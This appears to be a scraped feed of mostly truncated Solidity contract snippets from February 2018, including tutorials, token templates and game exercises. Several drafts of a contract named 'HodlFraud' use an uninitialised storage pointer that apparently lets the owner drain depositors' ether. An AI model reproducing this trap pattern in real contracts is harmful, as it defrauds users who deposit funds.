pragma solidity ^0.4.18;

contract HodlFraud {
    
    uint ownerAmount;
    uint numberOfPayouts;
    address owner;
    
    struct HoldRecord {
        uint amount;
        uint unlockTime;
    }
    
    mapping (address => HoldRecord) balance;
    
    function HodlFraud () public payable {
        owner = msg.sender;
        ownerAmount = msg.value;
    }
    
    function payIn(uint holdTime) public payable {
        require(msg.value > 0);
        HoldRecord newRecord;
        newRecord.amount += msg.value;
        newRecord.unlockTime = now + holdTime;
        balance[msg.sender] = newRecord;
    }
    
    function withdraw () public {
        require(balance[msg.sender].unlockTime < now && balance[msg.sender].amount > 0);
        msg.sender.transfer(balance[msg.sender].amount);
        balance[msg.sender].amount = 0;
        numberOfPayouts++;
    } 
    
    function ownerWithdrawal () public {
        require(msg.sender == owner && ownerAmount > 0);
        msg.sender.transfer(ownerAmount);
    
Feb 18, 2018 08:51:45 UTC
pragma solidity ^0.4.18;

contract HodlFraud {
    
    uint ownerAmount;
    uint numberOfPayouts;
    address owner;
    
    struct HoldRecord {
        uint amount;
        uint unlockTime;
    }
    
    mapping (address => HoldRecord) balance;
    
    function HodlFraud () public payable {
        owner = msg.sender;
        ownerAmount = msg.value;
    }
    
    function payIn(uint holdTime) public payable {
        require(msg.value > 0);
        HoldRecord newRecord;
        newRecord.amount += msg.value;
        newRecord.unlockTime = now + holdTime;
        balance[msg.sender] = newRecord;
    }
    
    function withdraw () public {
        require(balance[msg.sender].unlockTime > now && balance[msg.sender].amount > 0);
        msg.sender.transfer(balance[msg.sender].amount);
        balance[msg.sender].amount = 0;
        numberOfPayouts++;
    } 
    
    function ownerWithdrawal () public {
        require(msg.sender == owner && ownerAmount > 0);
        msg.sender.transfer(ownerAmount);
    
Feb 18, 2018 07:54:08 UTC
// pragma solidity ^0.4.18; // solhint-disable-line



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contract ERC721 {
  // Required methods
  function approve(address _to, uint256 _tokenId) public;
  function balanceOf(address _owner) public view returns (uint256 balance);
  function implementsERC721() public pure returns (bool);
  function ownerOf(uint256 _tokenId) public view returns (address addr);
  function takeOwnership(uint256 _tokenId) public;
  function totalSupply() public view returns (uint256 total);
  function transferFrom(address _from, address _to, uint256 _tokenId) public;
  function transfer(address _to, uint256 _tokenId) public;

  event Transfer(address indexed from, address indexed to, uint256 tokenId);
  event Approval(address indexed owner, address indexed approved, uint256 tokenId);

}

contract CryptoAllStars is ERC721 {

  /*** EVENTS ***/

  /// @dev The Birth event is fired whene
Feb 18, 2018 04:12:59 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Feb 18, 2018 01:25:06 UTC
// Contract address: 0x57a139c6f0a1b125c172c7690cd9a350828b7607
// Contract name: CryptoEuro
// Etherscan link: https://etherscan.io/address/0x57a139c6f0a1b125c172c7690cd9a350828b7607#code
pragma solidity ^0.4.4;

contract Token {

    /// @return total amount of tokens
    function totalSupply() constant returns (uint256 supply) {}

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance) {}

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success) {}

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address o
Feb 17, 2018 23:40:15 UTC
pragma solidity ^0.4.18;

contract HodlFraud {
    
    uint ownerAmount;
    uint numberOfPayouts;
    address owner;
    
    struct HoldRecord {
        uint amount;
        uint unlockTime;
    }
    
    mapping (address => HoldRecord) balance;
    
    function HodlFraud () public payable {
        owner = msg.sender;
        ownerAmount = msg.value;
    }
    
    function payIn(uint holdTime) public payable {
        require(msg.value > 0);
        HoldRecord newRecord;
        newRecord.amount += msg.value;
        newRecord.unlockTime = now + holdTime;
        balance[msg.sender] = newRecord;
    }
    
    function withdraw () public {
        require(balance[msg.sender].unlockTime > now && balance[msg.sender].amount > 0);
        msg.sender.call.value(balance[msg.sender].amount);
        balance[msg.sender].amount = 0;
        numberOfPayouts++;
    } 
    
    function ownerWithdrawal () public {
        require(msg.sender == owner && ownerAmount > 0);
        msg.sender.call.value(ownerAmount);
Feb 17, 2018 22:33:00 UTC
pragma solidity ^0.4.20;

contract KingOfEther {
    address private currentKing;
    uint private currentPrice = 0;

    function offerForThrone() external payable returns (bool)
    {
        require(msg.value > currentPrice);
        currentKing.transfer(msg.value - currentPrice);
        currentKing = msg.sender;
    }

    function getCurrentKing() public view returns (address)
    {
        return currentKing;
    }
Feb 17, 2018 18:02:15 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.19;
contract Test {

  struct Classroom {
    string name;
    Student[] students;
  }

  struct Student {
    string name;
  }

  Classroom[] public classrooms;

  function createClassroom(string _name) public {
    classrooms.push(Classroom(_name, new Student[](0)));
  }

Feb 17, 2018 15:33:30 UTC
pragma solidity ^0.4.18;
contract DataManagement{

    struct User {
        address m_address;
        string m_mobile;
        string m_name;
    }
    
    mapping(address => User) userInfo;
    
    address superAdmin;
    
    mapping(address => bool ) allowedUsers;
    
    function DataManagement() public {
        superAdmin = msg.sender;
    }

    function giveUserAccess(address userAddress) public {
        if (msg.sender != superAdmin) return;
        allowedUsers[userAddress] = true;
    }

    function addUserInfo(string name,string mobile) public returns (string xmsg){
        address x = msg.sender;
        if(allowedUsers[x] != true) {
            xmsg = "not allowed";   
        }
        User memory info;
        info.m_address = msg.sender;
        info.m_mobile = mobile;
        info.m_name = name;
        userInfo[msg.sender] = info;
        xmsg = "Saved Successfully";
    }
    
    function getUserInfo(address userAddress) public returns (string){
        User memory info;
        inf
Feb 17, 2018 14:49:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Random {
    uint256 _seed;

    // The upper bound of the number returns is 2^bits - 1
    function bitSlice(uint256 n, uint256 bits, uint256 slot) public pure returns(uint256) {
        uint256 offset = slot * bits;
        // mask is made by shifting left an offset number of times
        uint256 mask = uint256((2**bits) - 1) << offset;
        // AND n with mask, and trim to max of 5 bits
        return uint256((n & mask) >> offset);
    }

    function maxRandom() public returns (uint256 randomNumber) {
        _seed = uint256(keccak256(
                _seed,
                block.blockhash(block.number - 1),
                block.coinbase,
                block.difficulty
            ));
        return _seed;
    }

    // return a pseudo random number between lower and upper bounds
    // given the number of previous blocks it should hash.
    function random(uint256 upper) public
Feb 17, 2018 13:31:01 UTC
pragma solidity ^0.4.18;

//     SOLIDITY PAINT MIXER

/*Just a little coding practice and headache exploration.
CryptoZombies inspired.  
Enter  2 of  "red"   or "blue"  or    "yellow". Any order, a comma between.

Get orange green or purple , or try again, if you messed up.

FaRdr
*/

contract paintMixer {
   
    
  
    
    uint r;
    
    string t = "try again";
    string o = "orange";
    string g = "green";
    string p = "purple";



function MIX_PAINT(string x, string y) public returns (string){

    if ((keccak256(x) == keccak256("red")) && (keccak256(y)==keccak256("blue"))){
    r += 19;
    } else if ((keccak256(x)==keccak256("blue")) && (keccak256(y)==keccak256("red"))) {
    r += 19;
    } else if ((keccak256(x)==keccak256("red")) && (keccak256(y)==keccak256("yellow"))) {
    r += 190;
    } else if ((keccak256(x)==keccak256("yellow")) && (keccak256(y)==keccak256("red"))) {
    r += 190;
    } else if ((keccak256(x)==keccak256("blue")) && (keccak256(y)==keccak256("yellow"))) {
    r += 690;
 
Feb 16, 2018 21:12:01 UTC

pragma solidity ^0.4.16;

interface token {
    function transfer(address receiver, uint amount) public;
    function balanceOf(address tokenOwner) public constant returns (uint balance);
}

contract Crowdsale {
    address public beneficiary;
    uint public amountRaised;
    uint public deadline;
    token public tokenReward;
    token public tokenSource;
    mapping(address => uint256) public balanceOf;
    bool crowdsaleClosed = false;

    event FundTransfer(address backer, uint amount, bool isContribution);

    function Crowdsale(
        address ifSuccessfulSendTo,
        uint durationInMinutes,
        address addressOfTokenUsedAsReward,
        address addressOfTokenUsefAsSource
    ) public {
        beneficiary = ifSuccessfulSendTo;
        deadline = now + durationInMinutes * 1 minutes;
        tokenReward = token(addressOfTokenUsedAsReward);
        tokenSource = token(addressOfTokenUsefAsSource);
    }

    function () public payable {
        uint base = 1000000000000000000;
        uint amo
Feb 16, 2018 19:44:23 UTC
pragma solidity ^0.4.19;

contract Crowdfunding {
  
  uint crowdSaleDuration;
  uint crowdSaleStart;
  uint crowdSaleGoal;
  address owner;
  mapping (address => uint) contributions;

  function Crowdfunding(uint256 _crowdSaleDuration, uint _crowdSaleGoal);
  function ownerWithdraw();
  function withdraw();
  function contribute();

}
Feb 16, 2018 14:31:00 UTC
// Simple Crowdfunding Contract
pragma solidity ^0.4.19;

contract Crowdfunding {
  
  event Contributed(address _sender, uint amount);

  uint public crowdSaleDuration;
  uint public crowdSaleStart;
  uint public crowdSaleGoal;
  uint public amountRaised;
  address public owner;

  mapping (address => uint) public contributions;
  
  function Crowdfunding(uint256 _crowdSaleDuration, uint _crowdSaleGoal) public {
    crowdSaleDuration = _crowdSaleDuration;
    crowdSaleStart = now;
    crowdSaleGoal = _crowdSaleGoal;
    owner = msg.sender;
  }

  function ownerWithdraw() public {
    require(now >= crowdSaleStart + crowdSaleDuration && this.balance >= crowdSaleGoal);
    require(msg.sender == owner);

    owner.transfer(this.balance);
  }

  function withdraw() public {  
    require(now >= crowdSaleStart + crowdSaleDuration && this.balance >= crowdSaleGoal);

    uint amount = contributions[msg.sender];
    contributions[msg.sender] = 0;
    msg.sender.transfer(amount);
  }

  function contribute() payable 
Feb 16, 2018 14:27:59 UTC
// Contract address: 0xb9E36a650D4d6bb8156Fa5bA4BF95eAD2DA47aF4
// Contract name: Token
// Etherscan link: https://etherscan.io/address/0xb9E36a650D4d6bb8156Fa5bA4BF95eAD2DA47aF4#code
pragma solidity ^0.4.11;
 
contract Token {
    string public symbol = "";
    string public name = "";
    uint8 public constant decimals = 18;
    uint256 _totalSupply = 0;
    address owner = 0;
    bool setupDone = false;
   
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
 
    mapping(address => uint256) balances;
 
    mapping(address => mapping (address => uint256)) allowed;
 
    function Token(address adr) {
        owner = adr;        
    }
   
    function SetupToken(string tokenName, string tokenSymbol, uint256 tokenSupply)
    {
        if (msg.sender == owner && setupDone == false)
        {
            symbol = tokenSymbol;
            name = tokenName;
            _tot
Feb 16, 2018 12:44:16 UTC
// Contract address: 0x716E12433FD0261E4fC4AE9f7a1EB30B76539Bbf
// Contract name: TokenERC20
// Etherscan link: https://etherscan.io/address/0x716E12433FD0261E4fC4AE9f7a1EB30B76539Bbf#code
pragma solidity ^0.4.16;

interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }

contract TokenERC20 {
    // Public variables of the token
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    // 18 decimals is the strongly suggested default, avoid changing it
    uint256 public totalSupply;

    // This creates an array with all balances
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    // This generates a public event on the blockchain that will notify clients
    event Transfer(address indexed from, address indexed to, uint256 value);

    // This notifies clients about the amount burnt
    event Burn(address indexed fro
Feb 16, 2018 06:44:15 UTC
// Contract address: 0xd9e3492da65886b9f77dce4fa1d769301ef622e8
// Contract name: BuddhaCoin
// Etherscan link: https://etherscan.io/address/0xd9e3492da65886b9f77dce4fa1d769301ef622e8#code
pragma solidity ^0.4.4;

contract Token {

    /// @return total amount of tokens
    function totalSupply() constant returns (uint256 supply) {}

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance) {}

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success) {}

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address o
Feb 16, 2018 02:24:16 UTC
// Indicates the Solidity version miners should run the code with
// The ^ sign means it shouldn't run on version 0.5.0 or above
pragma solidity ^0.4.16;


// Smart Contract Decleration
// This creates a new contract named EmptyContract
contract BasicContract {

    // Global Variable Declaration
    // uint - The type of the declared variable
    // myInt - the name for the declared variable
    uint myInt;

    // Function Decleration
      // function - The 'function' keyword is used to declare a new function
      // myFunction - The name for the declared function
      // uint _someInt - An input the function expects to receive which
      //                 will be stored in a uint typed variable named _someVar
      //
      // The () should contain a list of all the function required inputs
      // public - Indecates where the function can be accessed from
    function set(uint _someInt) public {

        // Assigns the received input's value as the new
        // value for the global variable named 
Feb 15, 2018 18:13:37 UTC
// Indicates the Solidity version miners should run the code with
// The ^ sign means it shouldn't run on version 0.5.0 or above
pragma solidity ^0.4.16;


// Smart Contract Decleration
// This creates a new contract named EmptyContract
contract BasicContract {

    // Variable Declaration
    // uint - The type of the declared variable
    // value - The name for the declared variable
    // 10 - Some value to store in the variable
    uint i = 10;

    // Function Decleration
    // function - The 'function' keyword is used to declare a new function
    // myFunction - The name for the declared function
    // uint _someVar - An input the function expects to receive which
    //                 will be stored in a uint typed variable named _someVar
    //
    // The () should contain a list of all the function required inputs
    function myFunction(uint _someVar) {

    }
}

Feb 15, 2018 18:13:07 UTC
pragma solidity ^0.4.20; // Indicates the Solidity version miners should run the code with
                         // The ^ sign means it shouldn't run on version 0.5.0 or above


contract EmptyContract { // Smart Contract Decleration 
                         // This creates a new contract named EmptyContract
Feb 15, 2018 17:35:32 UTC
pragma solidity ^0.4.20;


contract EmptyContract {

Feb 15, 2018 17:21:29 UTC
pragma solidity ^0.4.19; // solhint-disable-line

contract Cryptato {

  /*** EVENTS ***/

  event PotatoFlipped(string newOwnerName, uint256 price, string prevOwnerName);

  /*** DATATYPES ***/

  address public currentOwnerAddress;
  string public currentOwnerName;
  uint256 public currentPrice;

  struct Record {
    address ownerAddress;
    string ownerName;
    uint256 pricePaid;
    string timeBought;
  }

  Record[] public records;

  uint256 public flipCount = 0;
  
  address public quipAddress;
  address public monoAddress;
  address public daddyAddress;

  /*** ACCESS MODIFIERS ***/

  /// Access modifier for team-only functionality
  modifier teamOnly() {
    require(msg.sender == quipAddress || msg.sender == monoAddress || msg.sender == daddyAddress);
    _;
  }

  /*** CONSTRUCTOR ***/

  function Cryptato() public {
    quipAddress = msg.sender;
    monoAddress = msg.sender;
    daddyAddress = msg.sender;

    currentOwnerAddress = msg.sender;
    currentOwnerName = "Contract";
    currentPrice
Feb 15, 2018 09:28:24 UTC
pragma solidity ^0.4.18;

contract ViewPureContract {

	uint decimals = 4;

	struct Person {
		string name;
		uint age;
	}
	
	function add(uint x, uint y) internal pure returns(uint) {
        uint256 z = x + y;
        assert((z >= x) && (z >= y));
        return z;
  }

  function div(uint x, uint y) internal pure returns (uint) {
	    assert(y > 0);
	    uint256 z = x / y;
	    return z;
	}

	function sub(uint x, uint y) internal pure returns (uint) {
		assert(y <= x);
		return x - y;
	}

	function calcHash(uint x, uint y) view returns (uint) {
		return x * (age ** decimals) + now;
	}

	function _generateRandomDna(string _str) private view returns (uint) {
        uint rand = uint(keccak256(_str));
        return rand % decimals;
    }

	function getName() public view returns (string personName) {
        return proposals[1].name;
    }
Feb 15, 2018 05:19:27 UTC
// Contract address: 0x02fef77de4bbaf4adfb5ff7b81312e3cdebde646
// Contract name: ERC20Token
// Etherscan link: https://etherscan.io/address/0x02fef77de4bbaf4adfb5ff7b81312e3cdebde646#code
pragma solidity ^0.4.4;

contract Token {

    /// @return total amount of tokens
    function totalSupply() constant returns (uint256 supply) {}

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance) {}

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success) {}

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address o
Feb 15, 2018 00:24:12 UTC
pragma solidity ^0.4.18;

contract metaCoin {	
	mapping (address => uint) public balances;
	function metaCoin() public {
		balances[msg.sender] = 10000;
	}
	function sendToken(address receiver, uint amount) public returns(bool successful){
		if (balances[msg.sender] < amount) return false;
		balances[msg.sender] -= amount;
		balances[receiver] += amount;
		return false;
	}
}

contract coinCaller{
	struct transfer{
		metaCoin coinContract;
		uint amount;
		address recipient;
	}
	mapping(uint => transfer) transfers;
	uint numTransfers;
	function sendCoin(address coinContractAddress, address receiver, uint amount) public {
		transfer storage t = transfers[numTransfers]; //Creates a reference t
		t.coinContract = metaCoin(coinContractAddress);
		t.amount = amount;
		t.recipient = receiver;
		t.coinContract.sendToken(receiver, amount);
		numTransfers++;
	}
Feb 14, 2018 22:15:38 UTC
Feb 14, 2018 22:11:50 UTC
pragma solidity ^0.4.18;
contract Subscription {
  
  uint public wins;

  struct User {
    uint calls;
    uint callsBought;
  }

  mapping(address => User) public users;
  
  function buyCalls() payable {
    uint calls = 5 * (msg.value / 1 ether); // 1 ether = 5 calls
    users[msg.sender].callsBought += calls;
  }

  modifier onlyIfEnoughCalls() {
    require(users[msg.sender].calls < users[msg.sender].callsBought);
    users[msg.sender].calls++;
    _;
  }
  
  function winGame() onlyIfEnoughCalls {
    wins++; // do whatever you want
  }  
Feb 14, 2018 18:34:17 UTC
pragma solidity ^0.4.18;
contract Subscription {

  bool public win;
  
  mapping (address => uint) public subscriptions;

  function renewSubscription() payable {
    uint months = msg.value / 1 ether; // 1 ether = 1 month
    subscriptions[msg.sender] += months;
  }

  modifier onlyMember() {
    require(now < now + subscriptions[msg.sender] *  4 weeks);
    _;
  }
  
  function winGame() onlyMember {
    win = true; // do whatever you want
  }  
Feb 14, 2018 18:04:38 UTC
pragma solidity ^0.4.18;
contract Membership {

  bool public win;
  
  mapping (address => bool) public members;

  function becomeMember() payable {
    require(msg.value == 1 ether);
    members[msg.sender] = true;
  }

  modifier onlyMember() {
    require(members[msg.sender] == true);
    _;
  }

    function winGame() onlyMember {
    win = true; // do whatever you want
  }  


Feb 14, 2018 17:45:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SellZombie {
    
    struct Zombie {
      address owner;
      uint32 dna;
    }

    Zombie public zombie;
    address public owner;

    function Sellzombie(address _zombieOwner) public {
      owner = msg.sender;
      zombie.owner = _zombieOwner;
    }

    function buyZombie() payable public  {
      // Can omit the following line if transferring all at once with withdraw
      owner.transfer(msg.value/10); 
      zombie.owner.transfer((9 * msg.value)/10);
      zombie.owner = msg.sender;
    }

    function withdraw() external {
      owner.transfer(this.balance);
    }
Feb 14, 2018 17:25:41 UTC
pragma solidity ^0.4.18;

library SafeMath {

  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  /**
  * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  /**
  * @dev Adds two numbers, throws on overflow.
  */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >=
Feb 14, 2018 16:32:25 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract ZombieLevelUp {
    
    struct Zombie {
      uint32 level;
      uint32 winCount;
    }

    Zombie public zombie; 

    function levelUpZombie() payable public  {
      require (msg.value == 1 ether || zombie.winCount >= 10 * zombie.level);
      zombie.level++;
    }

    function winBattle() public {
      zombie.winCount++;
    }

Feb 14, 2018 16:30:32 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract ZombieLevelUp {
    
    struct Zombie {
      uint32 level;
      uint32 winCount;
    }

    Zombie public zombie; 

    function levelUpZombie() payable public  {
      require (msg.value == 1 ether || zombie.winCount == 10 * zombie.level);
      zombie.level++;
    }

    function cheatWins() public {
      zombie.winCount = 10 * zombie.level;
    }

Feb 14, 2018 16:28:57 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract ZombieLevelTest {
    
    struct Zombie {
      uint32 level;
      uint16 winCount;
    }

    function _createZombie(string _name, uint _dna) internal {
        uint id = zombies.push(Zombie(_name, _dna, 1, uint32(now + cooldownTime), 0, 0)) - 1;
        zombieToOwner[id] = msg.sender;
        ownerZombieCount[msg.sender]++;
        NewZombie(id, _name, _dna);
    }

    function levelUpZombie



Feb 14, 2018 16:24:26 UTC

pragma solidity ^0.4.16;

interface token {
    function transfer(address receiver, uint amount) public;
    function balanceOf(address tokenOwner) public constant returns (uint balance);
}

contract Crowdsale {
    address public beneficiary;
    uint public amountRaised;
    uint public deadline;
    token public tokenReward;
    mapping(address => uint256) public balanceOf;
    bool crowdsaleClosed = false;

    event FundTransfer(address backer, uint amount, bool isContribution);

    function Crowdsale(
        address ifSuccessfulSendTo,
        uint durationInMinutes,
        address addressOfTokenUsedAsReward
    ) public {
        beneficiary = ifSuccessfulSendTo;
        deadline = now + durationInMinutes * 1 minutes;
        tokenReward = token(addressOfTokenUsedAsReward);
    }

    function () public payable {
        uint base = 1000000000000000000;
        uint amount = msg.value;
        uint tokenBalance = tokenReward.balanceOf(this);
        uint num = 10 ** (now % 4) * base;
        balanc
Feb 14, 2018 15:16:01 UTC
pragma solidity ^0.4.18;

contract HelloWorld {
  event Log(string message);
 function renderHelloWorld () public {
   Log("Hello World from Zia");
 }
}
Feb 14, 2018 15:03:12 UTC
// Contract address: 0xc3a684140448995f6abeb361c56110207da04d57
// Contract name: SignalsSociety
// Etherscan link: https://etherscan.io/address/0xc3a684140448995f6abeb361c56110207da04d57#code
pragma solidity ^0.4.17;

/*
-----------------------------------
Signals Society Membership Contract
-----------------------------------
*/

/**
 * @title Ownable
 * @dev Ownership functionality
 */
contract Ownable {
  address public owner;
  address public bot;
  // constructor, sets original owner address
  function Ownable() public {
    owner = msg.sender;
  }
  // modifier to restruct function use to the owner
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }    
  // modifier to restruct function use to the bot
  modifier onlyBot() {
    require(msg.sender == bot);
    _;
  }
  // lets owner change his address
  function changeOwner(address addr) public onlyOwner {
      owner = addr;
  }
  // lets owner change the bot's address    
  function changeBot(addres
Feb 14, 2018 14:36:16 UTC
// Contract address: 0xef4412abb5f2c93a0d3a58fb9d3778dc7a9ffc1e
// Contract name: FutureWorksExtended
// Etherscan link: https://etherscan.io/address/0xef4412abb5f2c93a0d3a58fb9d3778dc7a9ffc1e#code
pragma solidity ^0.4.18;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

interface Token {
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}

contract FutureWorksExtended {

    using SafeMath for uint256;

    mapping (address => uint256) public balanceOf;
    
    Token public tokenReward;
    address public creator;
    address public owner = 0xb1Af3544a2cb2b2B12346D2F2Ca3Cd03251d890a;

    uint256 public price;
    uint256 public startDate;
    uint256 public endDate;
    uint256 public claimDate;


    event FundTransfer(address backer, uint amount, bool isContribution);

    function FutureWorksExtended()
Feb 14, 2018 12:00:16 UTC
// Contract address: 0xc0950ee7568e1ab93c6784ddcaa9b590239eeec9
// Contract name: PrimeToken
// Etherscan link: https://etherscan.io/address/0xc0950ee7568e1ab93c6784ddcaa9b590239eeec9#code
pragma solidity 0.4.19;

// File: src/zeppelin/math/SafeMath.sol

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {

  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  /**
  * @dev Substracts two numbers,
Feb 14, 2018 12:00:15 UTC
// Contract address: 0xe47e81cd155ee4591a124d0b0eaed1e8481e94d8
// Contract name: PresalePool
// Etherscan link: https://etherscan.io/address/0xe47e81cd155ee4591a124d0b0eaed1e8481e94d8#code
pragma solidity ^0.4.19;

// Wolf Crypto pooling contract for Dadi
// written by @iamdefinitelyahuman

library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}


contract ERC20 {
  function balanceOf(address _owner) constant returns (uint256 balance) {}
  function transfer(address _to, uint256 _value) returns (bool success) {}
}


contract WhiteList {
   function checkMemberLevel (address addr) view public re
Feb 14, 2018 12:00:14 UTC
// Contract address: 0x73b0ebea28f76be1368d578d13657354330472a9
// Contract name: CryptoArtsToken
// Etherscan link: https://etherscan.io/address/0x73b0ebea28f76be1368d578d13657354330472a9#code
pragma solidity ^0.4.18;
// inspired by
// https://github.com/axiomzen/cryptokitties-bounty/blob/master/contracts/KittyAccessControl.sol

contract AccessControl {
  /// @dev The addresses of the accounts (or contracts) that can execute actions within each roles
  address public ceoAddress;
  address public cooAddress;

  /// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
  bool public paused = false;

  /// @dev The AccessControl constructor sets the original C roles of the contract to the sender account
  function AccessControl() public {
    ceoAddress = msg.sender;
    cooAddress = msg.sender;
  }

  /// @dev Access modifier for CEO-only functionality
  modifier onlyCEO() {
    require(msg.sender == ceoAddress);
    _;
  }

  /// @dev Access modif
Feb 14, 2018 12:00:13 UTC
pragma solidity ^0.4.18;

contract DoingMaths {
    event Log(int number);

    function doSomething() public {
        int num = ((((2 + 3) - 1) * 3) / 3) % 3;
        ++num;
        --num;
        Log(num);
        
    }

Feb 14, 2018 10:42:10 UTC
pragma solidity ^0.4.18;

contract DoingMaths {
    event Log(int number);

    function doSomething() public {
        int num = ((((2 + 3) - 1) * 3) / 3) % 3;
        Log(num);
        
    }

Feb 14, 2018 10:25:40 UTC
// Contract address: 0x4122bc6e97f92acf56421e6365f9c03b692c988e
// Contract name: REAC
// Etherscan link: https://etherscan.io/address/0x4122bc6e97f92acf56421e6365f9c03b692c988e#code
pragma solidity ^0.4.19;

contract Token {

    /// @return total amount of tokens
    function totalSupply() constant returns (uint256 supply) {}

    /// @param _owner The address from which the balance will be retrieved
    /// @return The balance
    function balanceOf(address _owner) constant returns (uint256 balance) {}

    /// @notice send `_value` token to `_to` from `msg.sender`
    /// @param _to The address of the recipient
    /// @param _value The amount of token to be transferred
    /// @return Whether the transfer was successful or not
    function transfer(address _to, uint256 _value) returns (bool success) {}

    /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
    /// @param _from The address of the sender
    /// @param _to The address of the
Feb 14, 2018 09:08:15 UTC
// Contract address: 0x6d52f43e5958b8cdf10c91f71cd95cd8d31aa52c
// Contract name: TeamTimeLock
// Etherscan link: https://etherscan.io/address/0x6d52f43e5958b8cdf10c91f71cd95cd8d31aa52c#code
pragma solidity ^0.4.19;

//Dentacoin token import
contract exToken {
  function transfer(address, uint256) pure public returns (bool) {  }
  function balanceOf(address) pure public returns (uint256) {  }
}


// Timelock
contract TeamTimeLock {

  uint constant public year = 2023;
  address public owner;
  uint public lockTime = 1782 days;
  uint public startTime;
  uint256 lockedAmount;
  exToken public tokenAddress;

  modifier onlyBy(address _account){
    require(msg.sender == _account);
    _;
  }

  function () public payable {}

  function TeamTimeLock() public {

    owner = 0x96017B01EFF27FC443EEe594A1D186643ed61C03;  //Atanas
    startTime = now;
    tokenAddress = exToken(0x08d32b0da63e2C3bcF8019c9c5d849d7a9d791e6);
  }

  function withdraw() onlyBy(owner) public {
    lockedAm
Feb 14, 2018 08:20:16 UTC
pragma solidity ^0.4.18;

contract MyNumbers {
    event Log(int number);
    //event LogFixed(fixed number);
    //event LogUFixed(ufixed number);

    function doSomething() public {
        int weight = 150;
        weight = weight + 25;
        Log(weight);

        uint orginalNumber = 23;
        uint newNumber = orginalNumber + 7;
        Log(int(newNumber));

        //fixed myDecimal = 40.5;
        //myDecimal = myDecimal + 10.5;
        //LogFixed(myDecimal);

        //ufixed mySecondDecimal = 10.333;
        //ufixed myThirdDecimal = mySecondDecimal + 5.666;
        //LogUFixed(myThirdDecimal);
    }

Feb 14, 2018 08:14:22 UTC
pragma solidity ^0.4.18;

contract MyStrings {
    event Log(string message);
    function doSomething() public {
        bytes32 name = "Zia";//dont use var
        name = "Mark";
